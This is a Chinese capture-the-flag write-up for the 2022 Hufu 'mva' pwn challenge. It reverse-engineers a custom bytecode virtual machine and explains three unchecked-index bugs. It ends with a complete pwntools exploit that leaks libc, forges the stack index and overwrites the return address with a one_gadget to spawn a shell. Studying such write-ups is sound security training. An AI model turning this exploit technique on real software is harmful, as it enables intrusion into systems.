2022虎符 mva
ida 分析
ida 打开,发现反编译代码不完整。
看汇编,发现存在脏字
nop 掉后就可以看到完整代码了。
然而 case 8u:
依旧不能反编译。
认真分析了汇编发现没有问题,其实这是 ida 的一个 bug ,只要选择 Edit->Patch program->Apply patches to input file
将修改保存然后重新 ida 分析就可以正常反编译了。
这个函数也没有反编译完全
undefine 之后重新定义函数就好了
程序分析
main 函数
经典虚拟机
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{__int16 f; // [rsp+1Ah] [rbp-246h]__int16 is_run; // [rsp+1Ch] [rbp-244h]unsigned __int16 t; // [rsp+20h] [rbp-240h]unsigned int op; // [rsp+24h] [rbp-23Ch]int next_op; // [rsp+28h] [rbp-238h]__int64 top; // [rsp+30h] [rbp-230h]unsigned __int16 reg[6]; // [rsp+44h] [rbp-21Ch] BYREFunsigned __int16 stk[260]; // [rsp+50h] [rbp-210h]unsigned __int64 v12; // [rsp+258h] [rbp-8h]v12 = __readfsqword(0x28u);sub_1277(a1, a2, a3);f = 0;top = 0LL;memset(reg, 0, sizeof(reg));is_run = 1;puts("[+] Welcome to MVA, input your code now :");fread(ops, 0x100uLL, 1uLL, stdin);puts("[+] MVA is starting ...");
LABEL_102:while ( is_run ){op = get_op();t = HIBYTE(op);if ( t > 0xFu )break;switch ( t ){case 0u:is_run = 0;break;case 1u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);reg[SBYTE2(op)] = op;break;case 2u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] + reg[(char)op];break;case 3u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] - reg[(char)op];break;case 4u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] & reg[(char)op];break;case 5u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] | reg[(char)op];break;case 6u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);reg[SBYTE2(op)] = (int)reg[SBYTE2(op)] >> reg[SBYTE1(op)];break;case 7u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] ^ reg[(char)op];break;case 8u:pc = get_op();break;case 9u:if ( top > 256 )exit(0);if ( BYTE2(op) )stk[top] = op;elsestk[top] = reg[0];++top;break;case 0xAu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( !top )exit(0);reg[SBYTE2(op)] = stk[--top];break;case 0xBu:next_op = get_op();if ( f == 1 )pc = next_op;break;case 0xCu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);f = reg[SBYTE2(op)] == reg[SBYTE1(op)];break;case 0xDu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] * reg[(char)op];break;case 0xEu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 )exit(0);reg[SBYTE1(op)] = reg[SBYTE2(op)];break;case 0xFu:printf("%d\n", stk[top]);break;default:goto LABEL_102;}}puts("[+] MVA is shutting down ...");return 0LL;
}
get_op 函数
获取指令,分析代码可知,指令长度为 4 字节,并且按照大端序获取,即低地址的字节位于 op 的高位。从代码分析可以看出,指令长度均为 4 ,按 64 位数 op 从高到低位,第一个字节是操作码,后面三个字节为地址码或填充字节。
__int64 get_op()
{unsigned int op; // [rsp+4h] [rbp-Ch]op = (*(_DWORD *)&ops[pc] << 8) & 0xFF0000 | (*(_DWORD *)&ops[pc] >> 8) & 0xFF00 | HIBYTE(*(_DWORD *)&ops[pc]) | (*(_DWORD *)&ops[pc] << 24);pc += 4;return op;
}
漏洞分析
可以看出程序中对地址码的检验一个是判断上界,另一个是通过判断标志位判断正负。
程序中主要存在 3 个漏洞点:
case 0xDu
缺少对 SBYTE1(op)
的范围的检验,可以从任意地址的读取 2 字节数据到寄存器。
case 0xEu
缺少对 SBYTE1(op)
的正负的检验,通过读入负数可以将寄存器中 2 字节数据写入在 [reg-0xFF,reg+5] 区间中的地址上。
case 9u
分析 case 9u
的代码:
case 9u:if ( top > 256 )exit(0);if ( BYTE2(op) )stk[top] = op;elsestk[top] = reg[0];++top;break;
对应的汇编为:
.text:00000000000017A1 loc_17A1: ; CODE XREF: main+14B↑j
.text:00000000000017A1 ; DATA XREF: .rodata:jpt_13F5↓o
.text:00000000000017A1 mov rax, [rbp+top] ; jumptable 00000000000013F5 case 9
.text:00000000000017A8 cmp rax, 100h
.text:00000000000017AE jle short loc_17BA
.text:00000000000017B0 mov edi, 0 ; status
.text:00000000000017B5 call _exit
.text:00000000000017BA ; ---------------------------------------------------------------------------
.text:00000000000017BA
.text:00000000000017BA loc_17BA: ; CODE XREF: main+504↑j
.text:00000000000017BA cmp [rbp+var_249], 0
.text:00000000000017C1 jnz short loc_17E6
.text:00000000000017C3 movsx edx, [rbp+var_249]
.text:00000000000017CA mov rax, [rbp+top]
.text:00000000000017D1 movsxd rdx, edx
.text:00000000000017D4 movzx edx, [rbp+rdx*2+reg]
.text:00000000000017DC mov [rbp+rax*2+stk], dx
.text:00000000000017E4 jmp short loc_17FC
.text:00000000000017E6 ; ---------------------------------------------------------------------------
.text:00000000000017E6
.text:00000000000017E6 loc_17E6: ; CODE XREF: main+517↑j
.text:00000000000017E6 mov rax, [rbp+top]
.text:00000000000017ED movzx edx, [rbp+var_23E]
.text:00000000000017F4 mov [rbp+rax*2+stk], dx
.text:00000000000017FC
.text:00000000000017FC loc_17FC: ; CODE XREF: main+53A↑j
.text:00000000000017FC mov rax, [rbp+top]
.text:0000000000001803 add rax, 1
.text:0000000000001807 mov [rbp+top], rax
.text:000000000000180E jmp loc_1A2B
因为对 top
没有校验正负,因此如果 top
为负数可以绕过对 top
的校验。
另外,mov [rbp+rax*2+stk], dx
指令中,由于 stk
为 16bit ,因此取值时存放 top
的寄存器 rax
要左移 1 位,这样恰好把符号位移走,变成正数,因此可以实现任意地址写。
漏洞利用
首先 main
函数中变量在栈中的布局如下:
-0000000000000249 var_249 db ?
-0000000000000248 var_248 db ?
-0000000000000247 var_247 db ?
-0000000000000246 f dw ?
-0000000000000244 is_run dw ?
-0000000000000242 var_242 dw ?
-0000000000000240 t dw ?
-000000000000023E var_23E dw ?
-000000000000023C op dd ?
-0000000000000238 next_op dd ?
-0000000000000234 var_234 dd ?
-0000000000000230 top dq ?
-0000000000000228 var_228 dq ?
-0000000000000220 db ? ; undefined
-000000000000021F db ? ; undefined
-000000000000021E db ? ; undefined
-000000000000021D db ? ; undefined
-000000000000021C reg dw 6 dup(?)
-0000000000000210 stk dw 260 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
获取 one_gadget 地址
利用 case 0xDu
漏洞将栈中的泄露 libc 的基地址读入寄存器。
调试到 case 0xDu
:
reg
地址如下:
观察栈结构,发现一个可以泄露 libc 基地址的数据。
计算得偏移为 0x3C ,是偶数,因此可以通过 reg[0x1E]~reg[0x20]
将其读取出来,然后用 reg[1]~reg[3]
将其存下。
payload += '\x01\x00\x00\x01' # reg[0] = 1
payload += '\x0d\x01\x1e\x00' # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00' # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00' # reg[3] = reg[0x20] * reg[0]
根据调试可知泄露出的 libc 地址相对基地址偏移为 0x2229E8 ,而 one_gadget
偏移为 0xE3B31。我们假定从泄露的真实地址与 one_gadget
真实地址之间存储在相同寄存器的值的大小关系与地址看做上述相对偏移值时相同寄存器值的大小关系相同(实际很大概率是这种情况),则将寄存器中的数据改为 one_gadget
地址需要将寄存器 2 减去 0x14,寄存器 1 加上 0x1149 。利用 case 2u:
和 case 3u:
可实现上述操作。
payload += '\x01\x00\x00\x14' # reg[0] = 0x14
payload += '\x03\x02\x02\x00' # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49' # reg[0] = 0x1149
payload += '\x02\x01\x01\x00' # reg[1] = reg[1] + reg[0]
修改 top 为 0x800000000000010c
根据 main
函数中变量在栈中的布局可知,reg
地址为 $rbp - 0x23C
,top
地址为 $rbp - 0x230
。
由于 reg
长度为 16bit ,因此reg[-7]
和 reg[-10]
覆盖 top
变量的头部和尾部。
由于 top
初值为 0 ,因此用两个寄存器借助 case 0xEu
的漏洞将 top
修改为 0x800000000000010c 。
根据补码的规则,-7 对应 0xF9 ,-10 对应 0xF6 。
payload += '\x01\x00\x80\x00' # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00' # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c' # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00' # reg[-10] = reg[0]
将返回地址修改为 one_gadget
根据前面对 case 9u
漏洞的分析,在比较时,由于 0x800000000000010c 为负数,因此可以绕过 if ( top > 256 )
的检查。而在向 stk
添加元素时,由于 rax
左移 1 位发生溢出变为 0x218 ,因此实际访问的是存储函数返回地址的起始位置。将寄存器中存储的 one_gadget
地址依次写入即可获取 shell 。
payload += '\x0e\x01\x00\x00' # reg[0] = reg[1]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00' # reg[0] = reg[2]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00' # reg[0] = reg[3]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
完整 exp
from pwn import *context.arch = 'amd64'
p = process('./mva')
# p = remote('119.23.155.14',24018)
elf = ELF('./mva')payload = ''payload += '\x01\x00\x00\x01' # reg[0] = 1
payload += '\x0d\x01\x1e\x00' # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00' # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00' # reg[3] = reg[0x20] * reg[0]payload += '\x01\x00\x00\x14' # reg[0] = 0x14
payload += '\x03\x02\x02\x00' # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49' # reg[0] = 0x1149
payload += '\x02\x01\x01\x00' # reg[1] = reg[1] + reg[0]payload += '\x01\x00\x80\x00' # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00' # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c' # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00' # reg[-10] = reg[0]payload += '\x0e\x01\x00\x00' # reg[0] = reg[1]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00' # reg[0] = reg[2]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00' # reg[0] = reg[3]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]p.sendafter("input your code now :\n", payload.ljust(0x100, '\x00'))
p.recvuntil("MVA is starting ...")
p.interactive()
2022虎符 mva相关推荐
- 2022 虎符 pwn mva
给了个docker环境 但是其实就是告诉你环境是ubuntu20.04 保护就是全绿 看起来似乎很简单 刚开始需要一堆输入 然后在那个11e9函数做一个简单的处理 然后就有一个jmp rax. 但是我 ...
- 2022虎符 the_shellcode
ida attach 到进程上,然后把数据改为代码形式然后 F5 反汇编. 主体逻辑如下: int __usercall sub_1711BF@<eax>(int a1@<edi&g ...
- 2022-03-19
来源:2022虎符CTF RRSSAA from Crypto.Util.number import getPrime, inverse, GCD, bytes_to_long from random ...
- CTFmisc类密码题思路与多种做法(CyberChef、Ciphey)
文章目录 一.题目描述与分析 二.在线网站做法 三.CyberChef 四.Ciphey LaTeX base64后翻译 一.题目描述与分析 来源: BMZCTF第二届网络安全公开赛,主办单位:白帽子 ...
- 刷题记录(2023.3.14 - 2023.3.18)
[第五空间 2021]EasyCleanup 临时文件包含考点 分析源码,两个特殊的点,一个是 eval,另一个是 include eval 经过了 strlen filter checkNums 三 ...
- 虎符CTF 2022 mva
前言: 昨天刚结束的虎符CTF的一道题,开始的太晚了,比赛结束半个小时才做出来,略显可惜 逆向分析: 拿到程序,稍做处理后可以看到,首先是让我们输入一段0x100的字节,然后开始取指-执行-取指-执行 ...
- 2022年Gartner新兴技术、人工智能技术成熟度曲线概述
Gartner发布2022年新兴技术成熟度曲线 2022年8月19日,Gartner发布2022年新兴技术成熟度曲线,并列出了25项值得关注的新兴技术.这些技术正在推动沉浸式体验的发展和扩展.加速人工 ...
- Gartner 公布 2022 新兴技术成熟度曲线,这些技术趋势最值得关注
更多内容关注微信公众号:fullstack888 近日,Gartner 公布了 2022 年新兴技术成熟度曲线以及最新的技术趋势. 2021-2023年大型企业新兴技术路线图 2022 年技术成熟度曲 ...
- 2022 Gartner新兴技术成熟曲线
Emerging technologies for 2022 fit into three main themes: evolving/expanding immersive experiences ...
最新文章
- 3proxy 使用指北
- mysql千万级大数据SQL查询优化
- 全球及中国新能源汽车电机市场未来发展方向与投资潜力研究报告2022版
- Google Chrome —— 离线安装/安装包下载解决方案
- Spring MVC中的视图解析ViewResolver
- html4基础,HTML 基础 4
- 服务器显示不明用户远程过,服务器显示不明用户远程过
- 电子商务网站 数据库产品表设计方案
- 使用Bootstrap后,关于IE与Chrome显示字体的问题
- 2017.3.17 激光炸弹 思考记录
- 去除WinRAR弹窗广告,去除购买许可弹窗
- Java利用PdfBox实现Pdf转图片
- 简单介绍会计师事务所
- Excel xlsx file; not supported报错
- LibreOJ #6198.谢特 后缀数组+并查集+trie启发式合并
- 【hive】hive如何将Jan 1, 2021 12:40:46 PM时间格式转换为指定格式
- 探测器反向偏压_(如光电二极管)反向偏置.ppt
- css宽度为自适应,高度等于宽度
- 如何做好百度竞价?需清楚竞价账户的结构和核心思维
- apache更改网站目录
热门文章
- python修改自己的代码_python修改微信和支付宝步数的示例代码
- Vivado | FPGA开发工具(Xilinx系列芯片)
- cad单线变双线lisp_cad里面怎么把双线转成单线
- **深信服软件测试笔试加面试**
- 【Galois工具开发之路】给你的JVM安装一个插件~
- Java流Strem
- Vue项目实战之电商后台管理系统(八) 订单管理及数据统计模块
- 如何批量查询邮政平邮/小包未签收快递的物流信息
- CDMA、GSM模块串口RTS和CTS硬件流控制小结 【转】
- 【前端】HTML、CSS、JS、PHP 的学习顺序